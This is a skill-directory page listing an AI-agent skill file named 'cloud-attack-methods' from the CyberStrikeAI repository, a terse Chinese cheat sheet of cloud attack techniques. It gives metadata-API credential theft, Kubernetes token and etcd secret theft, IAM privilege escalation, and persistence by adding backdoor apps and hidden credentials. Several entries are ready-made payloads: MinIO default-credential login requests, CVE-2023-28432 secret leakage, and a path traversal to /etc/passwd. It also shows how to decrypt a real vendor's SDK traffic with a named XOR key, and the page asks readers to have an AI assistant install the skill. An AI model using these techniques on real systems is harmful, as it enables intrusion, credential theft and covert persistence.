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cloud-attack-methods

النجوم٥٬٢٤٣

التفرعات٨٤٤

آخر تحديث٢١ يوليو ٢٠٢٦ في ٠٦:١٥

云攻击:元数据API,S3/K8s,AWS/Azure/GCP身份提权,MinIO矩阵,阿里云FC,ChengZi SDK解密。Use when attacking cloud metadata, IAM, K8s, MinIO, Aliyun FC, or cloud post-ex.

التثبيت

التثبيت باستخدام Codex أو Claude انسخ هذا Prompt والصقه في Codex أو Claude أو مساعد آخر ليراجع صفحة Skill ويثبّتها لك.

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المصدر

Ed1s0nZ

Ed1s0nZ/CyberStrikeAI

فتح مستودع GitHub عرض مستودعات المنشئ

تنزيل

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المهن ذات الصلةSOC

استنادا إلى تصنيف SOC المهني

مطوّرو البرمجياتمهن الحاسوب والرياضيات·SOC 15-1252

SKILL.md

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name	cloud-attack-methods
description	云攻击:元数据API,S3/K8s,AWS/Azure/GCP身份提权,MinIO矩阵,阿里云FC,ChengZi SDK解密。Use when attacking cloud metadata, IAM, K8s, MinIO, Aliyun FC, or cloud post-ex.
tags	["渗透测试","penetration-testing","红队"]

云攻击手法

=== 云 ===
元数据API: AWS 169.254.169.254/latest/meta-data/iam/ | Azure -H Metadata:true | GCP metadata.google.internal | 阿里云100.100.100.200
对象存储: aws s3 ls --no-sign-request | K8s: /var/run/secrets/.../token → api/v1拿secrets/exec pods → cluster-admin
🚨云身份攻击(拿到key/token后的提权横向):
  AWS: enumerate-iam/cloudfox/ScoutSuite枚举权限 → pacu自动找privesc(iam:PassRole+lambda/ec2/glue等18+条) | STS AssumeRole跨账户 | Lambda环境变量偷密钥
  Azure/Entra: roadtools(roadrecon dump租户)/AADInternals | 设备码/刷新令牌 | Managed Identity IMDS偷token | Automation Runbook RCE | Key Vault读密钥
  Entra后渗透: GraphRunner(Graph API枚举/搜邮件/加后门App) | 服务主体加凭据(隐蔽持久化) | 动态组滥用 | PRT偷取横向
  GCP: 服务账户token(metadata) | serviceAccountTokenCreator/actAs提权 | gcloud枚举
🚨K8s深入(拿到集群网络/pod): kubelet 10250未授权(/pods列举,/exec进任意容器) | etcd 2379无认证读全secrets | API Server匿名 | RBAC过权SA(kubectl auth can-i --list) | 特权pod挂宿主逃逸 | 云K8s抢node身份→IMDS
🚨MinIO攻击矩阵:
  指纹: Server: MinIO | /minio/health/live → 200(空body) | /minio/health/cluster → 200 | 9000(API)+9001(Console)
  Console爆破: POST http://IP:9001/api/v1/login body={"accessKey":"minioadmin","secretKey":"minioadmin"} | 403="invalid Login"
  STS API: POST /?Action=AssumeRoleWithWebIdentity&Version=2011-06-15&WebIdentityToken=JWT → 需JWT provider配置
  CVE-2023-28432: POST /minio/health/cluster?verify (信息泄露,返回环境变量含MINIO_SECRET_KEY)
  CVE-2023-28434: 路径穿越 /bucket/..%2F..%2Fetc/passwd → XMinioInvalidResourceName(已修补则不可用)
  匿名访问: GET /bucket-name/ → ListBucket(200)=匿名读 | PUT /bucket/file → AccessDenied(403)=匿名写被禁
  上传绕过: 应用层sign验证dir参数但不校验→可写任意bucket(sign只校验cid+et+og不含dir)
  扩展名绕过: .jsp;.jpg / .jsp%00.jpg 过应用黑名单但MinIO存储为静态文件(image/jpeg)不执行
🚨阿里云FC函数(fcapp.run)枚举:
  识别: URL含 *.cn-{region}.fcapp.run → 阿里云函数计算(Serverless)
  特征: POST返回"unauthorized method 'POST'"(405) = 只接受GET | 200+{"code":200,"msg":"Forbidden"} = 路径存在但缺参数
  利用: GET /{path}/{id}.html → 302重定向泄露真实CDN域名+auth_key签名URL(暴露CDN域名/bucket结构/签名算法)
  枚举: 不同路径前缀对应不同APP(/mkzavakx/ vs /kpqwbcoq/) | 无效ID→302到qzone.qq.com/404.html(fallback)
  路径穿越: FC正确规范化(../无效),但可枚举不同function路径
  CDN auth_key(昆仑CDN kunlunaq.com): format=timestamp-rand-uid-md5(uri-timestamp-rand-uid-privatekey) → 破解需privatekey | x-tengine-error暴露"denied by req auth"
  FC→CDN链路: FC函数生成签名URL→kunlun/kijwsks.com CDN下载 | referer伪装百度(mo.baidu.com)
🚨橙子建站(ChengZi SDK)解密:
  初始化: POST https://random.d3504.cn/init3 body={appkey,channelCode,...} → 加密响应(base64)
  解密: 单字节XOR key=0x96 → JSON(channelCode/fu下载URL/csu跟踪URL/ph安装包hash)
  d3504.cn通过Cloudflare+阿里云DDoS防护(aliyunddos)+昆仑CDN(kunlunaq.com) → 多层防护
  关键: fu字段=真实APK下载FC函数URL(可能与落地页不同region!) | csu=点击跟踪回调URL

المزيد من هذا المستودع

نفس المستودع

active-directory-attack

Ed1s0nZ/CyberStrikeAI

内网域攻击:BloodHound,Kerberoast,ADCS ESC1/ESC8,NTLM Relay,Coerce,DACL,DCSync,Zerologon/NoPac/PrintNightmare,mitm6,LLMNR,Linux内网。Use when attacking Active Directory, ADCS, NTLM relay, or internal domain.

2026-07-215.2k

ai-llm-app-attack

Ed1s0nZ/CyberStrikeAI

AI/LLM应用攻击:提示注入,Agent工具滥用RCE,RAG投毒,MCP供应链,torch.load pickle RCE。Use when testing LLM apps, agents, RAG, MCP plugins, or AI model file risks.

2026-07-215.2k

attack-surface-recon

Ed1s0nZ/CyberStrikeAI

侦察/攻击面测绘:被动whois/amass/crt.sh/FOFA/Shodan,主动subfinder/httpx/naabu/katana/nuclei,DNS地域/CDN/Nginx catch-all/宝塔/UniApp指纹。开局第一动作,认知写入项目黑板。Use when starting recon, asset mapping, fingerprinting, or CDN/DNS bypass discovery.

2026-07-215.2k

binary-mobile-reversing

Ed1s0nZ/CyberStrikeAI

APK/EXE/二进制:UniApp/DCloud/Flutter逆向,证书固定绕过,导出组件,内存破坏exploit链,IoT固件。Use when reversing APK/EXE, UniApp/Flutter, native .so, or memory-corruption exploits.

2026-07-215.2k

blockchain-contract-attack

Ed1s0nZ/CyberStrikeAI

区块链/智能合约:Etherscan,slither/mythril,重入/访问控制/预言机/闪电贷,跨链桥,RPC暴露。Use when auditing smart contracts, DeFi, or blockchain attack surfaces.

2026-07-215.2k

capability-primitive-search

Ed1s0nZ/CyberStrikeAI

能力原语+状态空间搜索:read/write/exec/ssrf等原语凑RCE等式A-F,低危映射,正反向搜索,跨域兑现。Use when no single RCE, chaining low-severity vulns, or deriving novel attack chains.

2026-07-215.2k

=== 云 === 元数据API: AWS 169.254.169.254/latest/meta-data/iam/ | Azure -H Metadata:true | GCP metadata.google.internal | 阿里云100.100.100.200 对象存储: aws s3 ls --no-sign-request | K8s: /var/run/secrets/.../token → api/v1拿secrets/exec pods → cluster-admin 🚨云身份攻击(拿到key/token后的提权横向): AWS: enumerate-iam/cloudfox/ScoutSuite枚举权限 → pacu自动找privesc(iam:PassRole+lambda/ec2/glue等18+条) | STS AssumeRole跨账户 | Lambda环境变量偷密钥 Azure/Entra: roadtools(roadrecon dump租户)/AADInternals | 设备码/刷新令牌 | Managed Identity IMDS偷token | Automation Runbook RCE | Key Vault读密钥 Entra后渗透: GraphRunner(Graph API枚举/搜邮件/加后门App) | 服务主体加凭据(隐蔽持久化) | 动态组滥用 | PRT偷取横向 GCP: 服务账户token(metadata) | serviceAccountTokenCreator/actAs提权 | gcloud枚举 🚨K8s深入(拿到集群网络/pod): kubelet 10250未授权(/pods列举,/exec进任意容器) | etcd 2379无认证读全secrets | API Server匿名 | RBAC过权SA(kubectl auth can-i --list) | 特权pod挂宿主逃逸 | 云K8s抢node身份→IMDS 🚨MinIO攻击矩阵: 指纹: Server: MinIO | /minio/health/live → 200(空body) | /minio/health/cluster → 200 | 9000(API)+9001(Console) Console爆破: POST http://IP:9001/api/v1/login body={"accessKey":"minioadmin","secretKey":"minioadmin"} | 403="invalid Login" STS API: POST /?Action=AssumeRoleWithWebIdentity&Version=2011-06-15&WebIdentityToken=JWT → 需JWT provider配置 CVE-2023-28432: POST /minio/health/cluster?verify (信息泄露,返回环境变量含MINIO_SECRET_KEY) CVE-2023-28434: 路径穿越 /bucket/..%2F..%2Fetc/passwd → XMinioInvalidResourceName(已修补则不可用) 匿名访问: GET /bucket-name/ → ListBucket(200)=匿名读 | PUT /bucket/file → AccessDenied(403)=匿名写被禁上传绕过: 应用层sign验证dir参数但不校验→可写任意bucket(sign只校验cid+et+og不含dir) 扩展名绕过: .jsp;.jpg / .jsp%00.jpg 过应用黑名单但MinIO存储为静态文件(image/jpeg)不执行 🚨阿里云FC函数(fcapp.run)枚举: 识别: URL含 *.cn-{region}.fcapp.run → 阿里云函数计算(Serverless) 特征: POST返回"unauthorized method 'POST'"(405) = 只接受GET | 200+{"code":200,"msg":"Forbidden"} = 路径存在但缺参数利用: GET /{path}/{id}.html → 302重定向泄露真实CDN域名+auth_key签名URL(暴露CDN域名/bucket结构/签名算法) 枚举: 不同路径前缀对应不同APP(/mkzavakx/ vs /kpqwbcoq/) | 无效ID→302到qzone.qq.com/404.html(fallback) 路径穿越: FC正确规范化(../无效),但可枚举不同function路径 CDN auth_key(昆仑CDN kunlunaq.com): format=timestamp-rand-uid-md5(uri-timestamp-rand-uid-privatekey) → 破解需privatekey | x-tengine-error暴露"denied by req auth" FC→CDN链路: FC函数生成签名URL→kunlun/kijwsks.com CDN下载 | referer伪装百度(mo.baidu.com) 🚨橙子建站(ChengZi SDK)解密: 初始化: POST https://random.d3504.cn/init3 body={appkey,channelCode,...} → 加密响应(base64) 解密: 单字节XOR key=0x96 → JSON(channelCode/fu下载URL/csu跟踪URL/ph安装包hash) d3504.cn通过Cloudflare+阿里云DDoS防护(aliyunddos)+昆仑CDN(kunlunaq.com) → 多层防护关键: fu字段=真实APK下载FC函数URL(可能与落地页不同region!) | csu=点击跟踪回调URL